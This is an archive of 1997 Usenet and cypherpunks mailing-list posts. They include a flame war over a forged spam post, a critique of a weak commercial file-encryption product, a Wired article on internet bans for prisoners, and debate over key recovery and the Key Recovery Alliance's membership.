> Subject: Nuke Your Local Junk Mailer!
> Newsgroups: misc.entrepreneurs,biz.mlm,alt.sex.erotica.marketplace,
>             alt.sex.erotica.marketplace,alt.sex.erotica.marketplace
> X-No-Archive: yes
> Mail-To-News-Contact: postmaster@nym.alias.net  
> Organization: mail2news@nym.alias.net
> Lines: 5
>  
> This message is not intended for humans to read.

Other than a Message-ID and a Comments line (both forgeable), what indicates 
this came from Mailmasher?  Why was Mailmasher not in the path header?  You 
still haven't produced a single shred of evidence that this came from 
Mailmasher.  You haven't even shown from any of the Mailmasher help files 
that Mailmasher even had this capability.  In someone's haste to point the 
blame at the remailers' ability to paste From: headers, they chose the wrong 
target -- since Mailmasher was not a remailer and had no header pasting 
capability.  Mail coming from Mailmasher accounts all contained a
pseudonym followed by "@mailmasher.com".  Access was via a web-based
interface, and there was no place to specify a From: line.

> You're an idiot and a liar.  

Engaging in ad hominem is an obvious attempt to divert attention from your
lack of evidence.

> First of all, Gary stubbornly didn't start
> X-No-Archiving his headers until a couple of months ago. You should
> know, Mr.Whining About Not Being Able to Track Gary Through Deja News
> Anymore.

Actually, in the beginning it was YOU, McClatchie, and the so-called 
"spam baiter" that used the No-Archive header.  Gary didn't use it until 
later when he became worried that people could actually read his old posts 
and see how his story changed over time.  Gary has apparently gone back and
even had his old posts nuked from the archives, as well. Apparently
Gary "I have nothing to hide" Burnore has reconsidered that stance.

If someone wanted to forge a post to embarass you, would it make sense to
hide it with a No-Archive header?  Why limit the readership like that?
 
> Secondly, it's not possible to forge message IDs with a piddly
> Netcruiser GUI account.

Netcruiser accounts can't telnet into an SMTP server, which is your theory of
how the "forgery" was done?  Also, you, Gary, and Wotan have shell accounts
that are quite capable of doing many of the things you claim that your
mythical "spam-baiting/forging/libelling/cyber-stalking/child-molesting"
mega-villain is guilty of.  You also once claimed that this person had spam 
baited "every known email address of DataBasix staff and customers".  Who but 
a DataBasix insider would have access to that kind of information?
 
> Lastly, it certainly is convenient that every single spam bait
> posted--thousands between 4/97 and 11/97--contained the X-No-Archive:
> yes header.  Makes it really easy for someone with a vendetta to say,
> 'oh no, they don't exist, because we can't verify them!'

Conveniently similar to the posts of Wotan and yourself.  And that quote
is obviously the reason that you, Gary, and Wotan also utilize that
same header, right?  So that you can later claim that anything you post
and later regret was "forged"?
 
> That's an insane theory cooked up by someone with a very twisted mind.

As are most of Gary's theories.

> How many people posting anonymously have
> been inadvertently denied an audience because of one IDIOT ruining it
> for everyone?

When have you EVER had a decent thing to say about anonymous posters?  Can
you cite even one instance?  Are you suddenly trying to polish up
DataBasix' image?  Polish that turd all you want, and it still won't smell
any better!
 
> Have we "harassed" any
> other remailers since then?  Hhm?  Why don't you _ask them_, mouth?

Jeff didn't reveal your harassment of him until AFTER he had shut down
his remailer and had no further retribution to fear.  And we didn't learn
of your attacks on Jeff's machines until Gary made a similar taunt back in
June.

> <cue follow up consisting of selective snipping in order to post more
> lies and distortions>

Stop your pitiful whining about "selective snipping".  Anyone who missed
it the first time can read your epic whine-fest by following the 
reference headers.  That's what they're there for. And if they're reading 
this thread via DejaNews and can't, well that was YOUR choice, not mine.
My posts are archived for all to read.

--





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Sat, 6 Dec 1997 00:49:26 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Superdistribution development/release
Message-ID: <v04002703b0adcea6a063@[204.134.5.28]>
MIME-Version: 1.0
Content-Type: text/plain




--- begin forwarded text


X-Sender: hutchinson@click.ncri.com
Mime-Version: 1.0
Date: Fri, 5 Dec 1997 09:41:30 -0500
To: dcsb@ai.mit.edu
From: hutchinson@ncri.com (Art Hutchinson)
Subject: Re: Superdistribution development/release
Cc: brian@smarter.than.nu
Sender: bounce-dcsb@ai.mit.edu
Precedence: bulk
Reply-To: hutchinson@ncri.com (Art Hutchinson)

>On Wed, 3 Dec 1997, Declan McCullagh wrote:
>
>>
>> Here an incentive: if anyone breaks this, I'll write an article about it
>> and another profiling the person who does.
>>
>> When you have this kind of "encryption" scheme running on untrusted
>> hardware to which the user has access, it's doomed to fail. Even if it's
>> custom hardware, it'll probably be broken, but it'll just take longer.

To which Brian Buchanan replied:

>Should be relatively trivial to break the encryption, since it can't be
>over 40-bit (or 56-bit if the company joined the kiss-ass alliance).

Uh, its a Canadian company.   That John Candy movie about the
U.S. invasion didn't really happen.   ;-)

- Art

Art Hutchinson                                       hutchinson@ncri.com
Northeast Consulting Resources, Inc.     phone: (617) 654-0635
One Liberty Square                                 fax: (617) 654-0654
Boston, MA 02160                                 www.ncri.com
------------------------------------------------------------------------------
"Working at the intersection of business and IT strategy to
help organizations embrace electronic commerce opportunities"



For help on using this list (especially unsubscribing), send a message to
"dcsb-request@ai.mit.edu" with one line of text: "help".

--- end forwarded text



-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/
Ask me about FC98 in Anguilla!: <http://www.fc98.ai/>






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Sat, 6 Dec 1997 03:01:03 +0800
To: Declan McCullagh <cypherpunks@cyberpass.net
Subject: Re: White House humiliates Louis Freeh in public
In-Reply-To: <v03007800b0ad4cf8f405@[168.161.105.216]>
Message-ID: <3.0.3.32.19971205103112.006e9f04@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



Isn't this great!  I was listening to Leftie Radio the other day,
and they were talking about how Janet Reno wasn't appointing
an independent prosecutor to bust Clinton, and how Louis Freeh
was pushing for it.  (No, not Rush, Pacifica's Democracy Now...)
Maybe this'll push Clinton into dumping Louis.  
Maybe it'll push Congress into dumping Janet.

There are some downsides; it could help Freeh look like a 
more honest guy than he is, or help him get rehired when the
Republicans take over in 2000, and he could pull off some
wiretap busting Clinton, but mostly he just looks disloyal,
which should annoy the Republicans.
				Thanks! 
					Bill
Bill Stewart, stewarts@ix.netcom.com
Regular Key PGP Fingerprint D454 E202 CBC8 40BF  3C85 B884 0ABE 4639





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Sat, 6 Dec 1997 01:05:40 +0800
To: cypherpunks@cyberpass.net
Subject: Sabotage and Threats a sham.
Message-ID: <v04002706b0adcee9b020@[204.134.5.28]>
MIME-Version: 1.0
Content-Type: text/plain




--- begin forwarded text


From: "Blair Anderson" <blair@technologist.com>
To: "dcsb@ai.mit.edu" <dcsb@ai.mit.edu>
Date: Fri, 05 Dec 97 18:14:26 +1300
Priority: Normal
MIME-Version: 1.0
Subject: Sabotage and Threats a sham.
Sender: bounce-dcsb@ai.mit.edu
Precedence: bulk
Reply-To: "Blair Anderson" <blair@technologist.com>

LONDON -- Accusations that criminals are using
high-tech weapons to extort hundreds of millions
of dollars from banks and stock exchanges are
"pure imagination," according to Europe's largest
defense electronics research agency.

http://www.techweb.com/wire/story/TWB19971204S0008




Blair Anderson  (Blair@technologist.com)

International Consultant in Electronic Commerce,
Encryption and Electronic Rights Management

   "Techno Junk and Grey Matter"  (HTTP://WWW.NOW.CO.NZ [moving servers,
currently inactive])
   50 Wainoni Road, Christchurch, New Zealand

          phone 64 3 3894065
          fax     64 3 3894065

Member 	Digital Commerce Society of Boston

---------------------------- Caught in the Net for 25 years
----------------------------



For help on using this list (especially unsubscribing), send a message to
"dcsb-request@ai.mit.edu" with one line of text: "help".

--- end forwarded text



-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/
Ask me about FC98 in Anguilla!: <http://www.fc98.ai/>






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: berezina@qed.net (Paul Spirito)
Date: Fri, 5 Dec 1997 18:50:48 +0800
To: James Love <love@cptech.org>
Subject: Re: Censorial leftists (Was: Interesting article)
In-Reply-To: <Pine.GSO.3.95.971203153856.17621N-100000@well.com>
Message-ID: <3487da07.565957@mail.qed.net>
MIME-Version: 1.0
Content-Type: text/plain



On Wed, 03 Dec 1997 19:14:21 -0500, James Love wrote:

>But if you think you can really
>explain what constitutes a leftist, in your view, I'm ready to read it.

Canni try? 

Leftists believe in progress; Rightists believe in regress; I believe in
egress.

Ie: repurposing archaic terms not my applet of tea.

Paul

http://www.nihidyll.com/gallery/Tornado.jpg





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ray Arachelian <sunder@brainlink.com>
Date: Sat, 6 Dec 1997 00:14:16 +0800
To: Alex Woolfson <abdiel@worldnet.att.net>
Subject: Re: Security of Encrypted Magic Folders
In-Reply-To: <001501bd0131$20c8d5a0$a1a0400c@default>
Message-ID: <Pine.SUN.3.96.971205102510.18650B-100000@beast.brainlink.com>
MIME-Version: 1.0
Content-Type: text/plain



On Thu, 4 Dec 1997, Alex Woolfson wrote:

>     EMF's encryption offers good protection and excellent speed.  It
>     hasn't been broken yet.  It is, as far as we know, exportable.  THERE
>     IS NO BACKDOOR.  Should you forget your password there is nothing we
>     can do to decrypt your encrypted files.

If it is exportable, then it is weak encryption by definition.  The
question is how weak.  Reading their marketting crap provides more
insights in just how lame this is:

>     Quite a few people ask us how big EMF's key size is.  They've learned
>     from other encryption programs that the bigger the key the stronger
>     the encryption.  This really doesn't apply to EMF.
> 
>     We developed our own encryption instead of using a standard because
>     we wanted EMF to be able to decrypt at the byte level.  In this way
>     we only need to decrypt/encrypt the data your programs require and
>     not the entire file.

In other words: security through obscurity.  Smells like snake oil, looks
like snake oil, it even has bits of snake scales in it.  Heck, if they say
that the key size is not important, it's likely very tiny, or regardless
of what key size you'd use (if you had any choice), it's such a weak
cypher that it wouldn't get you anything.

 
>     In theory, because we decrypt at the byte level, the biggest key we
>     could use would be 8 bits - which is a joke.  So instead of
>     decrypting every hunk of data using the same key, as most other
>     encryption programs do, we developed an algorithm to vary the key
>     based on the data's location within the file.  In this way we get
>     both high security and high speed.  We are trying to patent EMF's
>     encryption method.

Whoop.  so the key is the location of the data?  At most, this means a 32
bit key on most file systems, 64 bits on newer file systems.  This assumes
that your file is long enough for that.  But as a key, this is totally
useless as the key is the location which is visible to all.  Likely they
would be wise to "mix" this location key with the passphrase.

This offers little more than CBC would.  The only difference is that CBC
is based on the previous block, where this is based on the location of a
byte in the file (which is known) whereas a CBC depedns on knowledge of
the previous block.

If they did it the right way, they'd use the passphrase to build a lookup
table of large keys based on the byte location within a file, but because
this depends on your passphrase, your security is still that of the
passphrase at maximum.  There may be ways to weaken this.

>     Having said all that, truth is, most encryption isn't "cracked" by
>     breaking the algorithm, it's done by guessing the password.  Brute
>     guessing of passwords tends to level the playing field tremendously.
>     We actually have an advantage because we aren't an established
>     standard.  Because we're small and relatively obscure chances are no
>     one will take the effort to write a password guessing program (which
>     incidentally would violate copyright and intellectual property laws.)
>     Even if someone were to go thru all this effort we could easily
>     change the encryption method for the next update.

This is total bullshit.  It's Grade A, government approved exportable
snake oil.  Just because they are small and obscure it doesn't guarantee
you any extra safety.  

Just because nobody has bothered to write a brute forcer for their code
doens't mean nobody can do so.  And no, this would not violate any of
their copyright if the author of the brute forcer proggie wrote it without
copying their code.  It might violate intellectual property laws if they
had a patent on it, but they can't get one since they're going by
security through obscurity.  They claim to be applying for a patent, but
if they do, their code is published and their weaknesses will be
displayed.

It might violate trade secret laws if someone who has the source or the
algorithm shares it, but not if someone reverse engineers it (depending on
reverse engineering laws of course.) 

Just because they could "rewrite" the code in the next update against
cracking or brute force attacks does not buy you security.  FYI: If you
use this crap and someone steals a copy of the encrypted files off your
hard drive, it doesn't matter what new updates this company produces.  The
fact is you used the older breakable version, the attacker has your
cyphertext and will decode it. 

 
>     If we used an established encryption method like DES or Blowfish then
>     your files would probably have to be fully decrypted when opened,
>     would exist on disk as unencrypted while you're using them, and then
>     would need to be encrypted when closed. 

Translation: We don't use CBC, because that would be more work and slow
down our crappy cypher.  Deeper translation: break any portion of any
encrypted file and you'll likely break the whole thing if not huge parts
of it.  

"Established encryption methods (sic)" use CBC because it adds security. 
Their algorithms are well published and well known so people can find
their weaknesses and publicise them.  Whatever weaknesses there are in
this thing are hidden from those who can't or won't reverse engineer it. 
But there are plenty of those who can and will, and have no qualms about
releasing it anonymously, or worse: keeping the expolit to themselves so
as to exploit those stupid enough to use this lame shit.

It only takes one cracker with a good disassembler to reverse engineer
their code and find all the holes, and they'll be out of business.  If
what protects your data is the cypher, and not the key, then breaking the
cypher is all you need to do.

Heck, I'd bet they use something really shitty like this: (since "key size
is not important", and "depends on location".)


char code(char *passphrase, char data, long location);
{
  int i; char c;
  
  for (i=0; passphrase[i]>0; c^=passphrase[i++]);

  return (data ^ c ^ (char)(location & 0xff));
}

Gee, I probably violated their "intellectual" property by guessing their
code, heh.
 

> This has multiple
>     disadvantages.  First, if your computer shuts down while you have
>     "encrypted" files open, then those files would be unencrypted.  This
>     doesn't happen with EMF as your encrypted files are always encrypted
>     as stored on disk.  The second disadvantage is that it slows things
>     down tremendously.  

Not if you use an encrypted disk driver.  then, all your data is encrypted
all the time.  (You get into other issues such as keeping the passphrase
or key from falling into the pagefiles, etc...)

[Meaningless babble deleted.]



=====================================Kaos=Keraunos=Kybernetos==============
.+.^.+.|  Ray Arachelian    |Prying open my 3rd eye.  So good to see |./|\.
..\|/..|sunder@sundernet.com|you once again. I thought you were      |/\|/\
<--*-->| ------------------ |hiding, and you thought that I had run  |\/|\/
../|\..| "A toast to Odin,  |away chasing the tail of dogma. I opened|.\|/.
.+.v.+.|God of screwdrivers"|my eye and there we were....            |.....
======================= http://www.sundernet.com ==========================





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Sat, 6 Dec 1997 00:49:01 +0800
To: users@ssz.com (SSZ User Mail List)
Subject: ISDN is back!....yippeeee
Message-ID: <199712051657.KAA16584@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Hi,

The ISDN just came back online...now if only the POTS will return...

Anyway, SWBT Level 2 and their protocol analysis seems to have done the
trick this time. As soon as I get my POTS back I'll lack the ISDN folks and
find out what the problem was.

Be advised that SWBT may still have their analyzer online which means they
are doing a full capture of all the Internet related traffic.


    ____________________________________________________________________
   |                                                                    |
   |                                                                    |
   |      We built your fort. We will not have it used against us.      |
   |                                                                    |
   |                          John Wayne -  Allegheny Uprising          |
   |                                                                    |
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http://www.ssz.com/   |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage@ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: tcmay@got.net (Tim May)
Date: Sat, 6 Dec 1997 03:49:39 +0800
To: cypherpunks@Algebra.COM
Subject: Re: Locked Up and Barred From Net
In-Reply-To: <666kg6$h6l$1@news.stealth.net>
Message-ID: <199712051936.LAA00142@always.got.net>
MIME-Version: 1.0
Content-Type: text/plain




This article touches on several Cypherpunks themes and technologies,
including: use of anonymous remailers, mandatory Web content filters, bans
on encryption, and bomb-making instructions.

True, the persons being affected here are prisoners and parolees, and
prisoners obviously are lacking certain civil liberties. Parollees, too.
(Whether those convicted of felonies or even lesser crimes should be
denied civil liberties after their sentence has been completed is a
troubling issue I won't get into right now.)

But as more and more things are declared criminal, and as selective
prosecution is becoming the norm, these increasing restrictions may affect
a larger fraction of the population.

And, I think, the attitude here toward paroled convicts gives us some
hints about the application of the Four Horsemen arguments in general.

--Tim May


> From http://www.wired.com/news/news/culture/story/8854.html
> 
> Twice Removed: Locked Up and Barred from Net
> by Steve Silberman 
> 4:57am  3.Dec.97.PST
> 
> When US District Court Judge Sam Sparks sent Chris Lamprecht to the 
> Federal Correctional Institution in Bastrop, Texas, in 1995, the 
> 24-year-old hacker sobbed before the bench. A stint in the federal pen 
> was terrifying enough, but the judge had tacked an unusual condition onto 
> his 70-month sentence. Though Lamprecht was being sent to Bastrop for 
> money laundering - not the hacking that earned him the handle "Minor 
> Threat" - Judge Sparks stipulated that Lamprecht was forbidden to access 
> the Internet until 2003. 
> 
> "I told the judge computers were my life," Lamprecht recalled. 
> 
> Any case that involves computers and a boyish, fair-skinned defendant is
> bound to get press, but things have changed since Swing magazine
> (http://www.paranoia.com/~mthreat/swing.html) billed Lamprecht as "the
> first person to be officially exiled from cyberspace."  If the young
> hacker was the first to be exiled from the online world by law, he now has
> plenty of company, following the circulation of an internal memo at the
> Federal Bureau of Prisons last year, which set in stone a federal policy
> of keeping prisoners - and even many parolees - offline. 
> 
> According to the federal view, logging on is simply incompatible with 
> incarceration. As chief bureau spokesman Todd Craig states, in 
> bureaucratese, "Access to the Internet is not a necessary tool for the 
> correctional process" - which means that with more than 1.6 million 
> people locked up in the United States alone, and thousands of parolees 
> subject to similar restrictions even as they attempt to rejoin modern 
> life, a significant population is being left behind by the network 
> revolution. 
> 
> What's at stake? As more and more jobs are wired into the Net and the 
> Web, the possibility that former offenders will be able to find 
> employment after incarceration becomes more and more remote - which 
> undermines the very bedrock of the correctional process, asserts Jenni 
> Gainsborough, spokeswoman for the American Civil Liberties Union's 
> National Prison Project (http://www.npp.org). 
> 
> "The aim of our prisons should be to release people who are able to 
> reintegrate themselves into society," she explains. "But no politician 
> wants to appear soft on crime. Nobody thinks about what's actually useful 
> to reduce the recidivism rate." 
> 
> A poster boy for keeping prisons unwired 
> 
> Mention the words prisoner and Internet in a sentence, and the same 
> object-lesson will come up over and over again: the case of George 
> Chamberlain, a sex offender incarcerated at Lino Lakes state prison in 
> Minnesota, who used his position as manager of computer services for a 
> venture called Insight Inc. to download child pornography from the Net 
> while sitting in jail. 
> 
> Chamberlain was a poster boy for keeping prisoners as far away from a 
> modem as possible. He not only siphoned 287 erotic images off the Net and 
> encrypted them on an optical drive behind the pass phrase "They cannot 
> commit me," he also compiled lists of thousands of children's' names, and 
> chitchatted with other pornographers through an anonymous remailer. 
> 
> "The idea that a prisoner had this kind of access to the Internet and was 
> able to collect explicit child pornography and communicate with others on 
> how to hide it," US Attorney David Lillehaug declared last March, "is 
> almost unbelievable." 
> 
> The Chamberlain case seemed all too believable, however, given a 
> statement issued by the US Parole Commission just three months earlier. 
> The commission, "responding to increased criminal use of the Internet," 
> approved "discretionary use of special conditions of parole that would 
> impose tight restrictions on the use of computers by certain high-risk 
> parolees." 
> 
> A spokesperson for the Parole Commission declined to answer questions 
> about the number of parolees currently subject to restrictions on 
> computer use, which include a ban on encryption, screening of online 
> activity by monitoring or blocking software, compulsory daily logging of 
> all Web sites visited, and unannounced searches of drives and disks by 
> parole officers. 
> 
> Federal Bureau of Prisons spokesman Craig equates the ban on computer use 
> by inmates to restrictions on use of the telephone. "They can make 
> 15-minute calls to pre-approved numbers, like family and clergy," Craig 
> says. It would be impossible, he says, to pre-approve forays into the 
> online world in the same way. 
> 
> In its press release, the commission said it acted "after noting the 
> surge of 'how-to' information available on the Internet and other 
> computer online services relating to such offenses as child molestation, 
> hate crimes, and the illegal use of explosives." 
> 
> "That's complete BS," charges Stanton McCandlish, program director for the
> Electronic Frontier Foundation. "There was no alarming increase in that
> kind of 'how-to' information on the Net. There was an increase in
> publicity about politicians like Dianne Feinstein
> (http://www.senate.gov/~feinstein/bombstmt.html), who used those fears as
> justification to limit use of the Internet." 
> 
> McCandlish points out that last June's Reno v. ACLU decision
> (http://www.aclu.org/court/renovacludec.html) by the Supreme Court sent a
> message that the court considers the Net as much subject to First
> Amendment speech protections as the printed word.  Comparing broad
> prohibitions on the use of computers by prisoners and parolees to banning
> the act of writing by those in prison, McCandlish predicts that "the issue
> is going to heat up" in the coming year. The EFF is "waiting for a good,
> solid legal challenge" to arise before getting involved in a case,
> McCandlish says. 
> 
> The world's best-kept secrets 
> 
> A small California businessman named John Danes runs an outfit called
> Inmate.com, charging prisoners US$70 to design and maintain a personal
> homepage (http://inmate.com/inmates.htm) and an email address for three
> months. Each week, Danes prints out the incoming mail, peruses it for
> forbidden content like pornography or communication from minors, and
> forwards it to the inmates via snail mail. At present, nearly 70 male
> prisoners and three women have homepages at Inmate.com. The majority of
> the inmates are black or Hispanic; several of the pages maintain the
> author's innocence; many are an invitation to romance. 
> 
> Ironically, the ACLU's Gainsborough attributes some of the public's fear 
> about convicted criminals having a gateway to the Net to the publicity 
> given to Web sites like Inmate.com and Dead Man Talkin' 
> (http://monkey.hooked.net/moneky/m/hut/deadman/deadman.html) - sites that 
> are put up by friends of prisoners who do not themselves have access. 
> 
> "Serial-killer homepages and prisoner sites contribute to the public 
> perception that there's a huge use of the Net by these people to 
> advertise their evil ideas," Gainsborough says, while affirming her 
> support for the right of prisoners to express themselves. 
> 
> One page on the Inmate.com site asks, "Have you ever wondered what it's 
> like to live in another world right here on Earth? What would you do if 
> you suddenly fell from grace? Prisons hold some of the world's best-kept 
> secrets." Secrets are one thing, Gainsborough observes, that prisoners 
> are not allowed to keep. 
> 
> "In many prisons, even [typewriters with built-in memory] are forbidden," 
> she says. "There's always this fear of prisoners hiding this stuff away - 
> so the idea of computers where people could really keep stuff hidden is 
> very frightening." 
> 
> In July 1996, a promising computer-training program at the Washington 
> State Reformatory was terminated when it appeared that the prisoners were 
> learning too much about computers - that is, more than prison officials 
> knew. 
> 
> Mike Williams, associate superintendent at the reformatory, was head of 
> security for the program, which was a pilot for a statewide effort that 
> would have allowed prisoners to learn how to use business software like 
> Microsoft Excel, PowerPoint, and Word. 
> 
> "The inmates learned a lot of good stuff," Williams acknowledges. "They 
> were able to learn a trade while in prison, so that they might have been 
> actually able to get a job in that area when they got out. This was like 
> real-world vocational training." 
> 
> So why was the innovative program scrapped, rather than ported to every 
> jailhouse in the state? 
> 
> "Our superintendent thought it was a manageable pilot program," Williams 
> recalls, "but the key figures who needed to approve it up in Olympia 
> decided to put an end to it. We had inmates learning more about computers 
> than we had staff time to keep an eye on them. We couldn't keep up with 
> them." 
> 
> The fear that prisoners would use encryption or other electronic means to 
> cloak escape plans was a chief concern. "It was a cat-and-mouse game. We 
> had to load the software for them, and there was no money allocated to 
> hire more officers to do that kind of thing," Williams says. Though at 
> least one inmate claims that graduates of the program had landed good 
> jobs upon release, state deputy director of prisons Jim Blodgett - one of 
> the "key figures" in the state capital who decided to shut the gate on 
> the pilot effort - told a reporter, "We couldn't see the value in keeping 
> it. We had staff not knowing what was going on." 
> 
> If the object of incarceration is to ensure that prisoners remain at 
> least as ignorant of current technologies as untrained prison staff, the 
> federal policy will be deemed a success. But as the Net touches every 
> area of our experience - from our most intimate relationships to our 
> responsibilities as participants in a democratic society - more and more 
> of those on the outside of the bars are coming to feel, with Lamprecht, 
> that "computers are our lives," or are inextricably linked with our 
> lives. 
> 
> And those on the inside are destined to be released into a life for which 
> they are even more unprepared than former offenders were in the past.
> 
> -------------------------------------------------------------------------
> Minor Threat's Web Site                 http://www.paranoia.com/~mthreat/
> Official Kevin Mitnick Web Site         http://www.kevinmitnick.com

-- 
The Feds have shown their hand: they want a ban on domestic cryptography
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,  
ComSec 3DES:   408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets, 
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Sat, 6 Dec 1997 00:51:57 +0800
To: cypherpunks@toad.com
Subject: SynData/Schneier Attack Network Associates
Message-ID: <1.5.4.32.19971205164216.006f950c@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain



 Right to Privacy for Sale in Cyberspace; SynData Technologies Inc. 
 Speaks Out  Against Key Recovery

 Cedar Grove, N.J. -- SynData Technologies Inc., a provider of encryption 
 software solutions, released a statement today condemning Network 
 Associates Inc. for supporting the government's key recovery program. 
 Network Associates recently purchased Pretty Good Privacy (PGP).
 PGP had historically been opposed to key recovery. 

 "It is time to seriously consider the threat that Network Associates poses
 to the individual's constitutional right to privacy," said David Romanoff, CEO 
 of SynData Technologies Inc. "While Network Associates claims to protect
 privacy in cyberspace, they have actually traded our right to privacy for a 
 shot at increased revenues overseas by supporting the key recovery program. 
 The slippery slope has begun right under our noses. It's time to challenge 
 both the government and companies who support the government's key
 recovery program before it is too late." 

 "The government's key recovery program is a complete violation of the
 individual's right to privacy and, in fact, compromises of the system are 
 already taking place. This shows that key escrow is an untenable policy," 
 said Bruce Schneier, one of the world's leading authorities on encryption 
 and author of the book "Applied Cryptography". "SynData is paving the
 way for other software developers by taking a stand in opposition to the 
 government and companies like Network Associates." 






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: NoSpam <nospam@synernet.com>
Date: Sat, 6 Dec 1997 01:44:07 +0800
To: cypherpunks@toad.com
Subject: SynData/Schneier Attack Network Associates
Message-ID: <3.0.2.32.19971205122651.007cae60@fast.synernet.com>
MIME-Version: 1.0
Content-Type: text/plain



At 11:42 AM 12/5/97 -0500, you wrote:
> Right to Privacy for Sale in Cyberspace; SynData Technologies Inc. 
> Speaks Out  Against Key Recovery
>
> Cedar Grove, N.J. -- SynData Technologies Inc., a provider of encryption 
> software solutions, released a statement today condemning Network 
> Associates Inc. for supporting the government's key recovery program. 
> Network Associates recently purchased Pretty Good Privacy (PGP).
> PGP had historically been opposed to key recovery. 

<snip>

> "The government's key recovery program is a complete violation of the
> individual's right to privacy and, in fact, compromises of the system are 
> already taking place. This shows that key escrow is an untenable policy," 
> said Bruce Schneier, one of the world's leading authorities on encryption 
> and author of the book "Applied Cryptography". "SynData is paving the
> way for other software developers by taking a stand in opposition to the 
> government and companies like Network Associates." 


By "companies like Network Associates", do you mean "companies who are
members of the Key Recovery Alliance" (http://www.kra.org)? If so, here are
the "companies like Network Associates", in that regard:  [Note RSA is a
Charter Member]

                 America Online, Inc. 
                 Apple Computer, Inc. * 
                 American Express Corp. 
                 Atalla * 
                 Baltimore Technologies 
                 Boeing 
                 Candle Corporation 
                 CertCo 
                 Certicom 
                 Compaq Computer Corp. 
                 Cryptomathic 
                 CygnaCom Sulutions, Inc. 
                 Cylink Corp. 
                 DASCOM, Inc. 
                 Data Securities International, Inc. 
                 Digital Equipment Corporation * 
                 Digital Secured Networks Technology, Inc. 
                 Digital Signature Trust Company 
                 Entrust Technologies 
                 First Data Corp. 
                 Fort Knox Escrow Services, Inc. 
                 Frontier Technologies Corp. 
                 Fujitsu, Ltd. 
                 GemPlus 
                 Gradient Technologies, Inc. 
                 Groupe Bull * 
                 Hewlett-Packard * 
                 Hitachi 
                 IBM * 
                 ICL 
                 IRE 
                 Intel Corporation 
                 McAfee 
                 Mitsubishi Corporation of Japan 
                 Mitsubishi Electric America 
                 Motorola 
                 Mykotronx 
                 Mytec Technologies, Inc. 
                 nCipher Corp. 
                 NCC Escrow 
                 NCR Corporation * 
                 NEC 
                 Network Systems Group of Storage Tek 
                 Novell, Inc. 
                 Open Horizon, Inc. 
                 Portland Software 
                 PSA 
                 Price Waterhouse 
                 Racal Data Group 
                 Rainbow Technologies 
                 RedCreek Communications 
                 RPK 
                 RSA * 
                 SafeNet Trusted Services, Corp. 
                 Secure Computing Corporation 
                 Siemens AG 
                 Silicon Graphics, Inc. 
                 SourceFile 
                 Spyrus 
                 Sterling Commerce 
                 Sun Microsystems * 
                 Tandem 
                 Technical Communications Corp. 
                 The Santa Cruz Operation, Inc. 
                 Toshiba 
                 Trusted Information Systems, Inc. * 
                 Unisys 
                 UPS * 
                 Utimaco Mergent 
                 VPNet Technologies 

-------------------
estone@synernet-robin.com
remove "-birdname" spam avoider
-------------------
----------------------------
Ed Stone
estone@synernet-robin.com
delete "-birdname" spam avoider
----------------------------





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: woodshed@stopgocal.com
Date: Sat, 6 Dec 1997 03:35:34 +0800
To: cypherpunks@toad.com
Subject: What has 4 legs and your childs name?
Message-ID: <eaep.3.0.reg.DanCR7.35769.5168596065@mail.stopgocal.com>
MIME-Version: 1.0
Content-Type: text/plain




//////////////////////////////////////////////////////////
  Due to the Postal Strike we are trying direct email.
  If you would like to be removed from our mailing list, please
  reply to this message with "remove" as the subject and you
  will not receive any more email from our server.
/////////////////////////////////////////////////////////

Beautifully handcrafted coat rack and stool with your
childs name, please visit our web ad at:
http://www.stopgocal.com/woodshed/index.html

12/5/97





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Burnes <jim.burnes@ssds.com>
Date: Sat, 6 Dec 1997 03:54:35 +0800
To: Kent Crispin <kent@songbird.com>
Subject: Re: Censorial leftists (Was: Interesting article)
In-Reply-To: <19971204174655.45349@songbird.com>
Message-ID: <Pine.LNX.3.95.971205111305.360C-100000@is-chief>
MIME-Version: 1.0
Content-Type: text/plain




On Thu, 4 Dec 1997, Kent Crispin wrote:

> On Thu, Dec 04, 1997 at 05:22:23PM -0700, Jim Burnes wrote:
> [...]
> > > And Singapore survives quite well being a totalitarian capitalist
> > > society. Sure, you can pick nits and claim that Singapore's not entirely
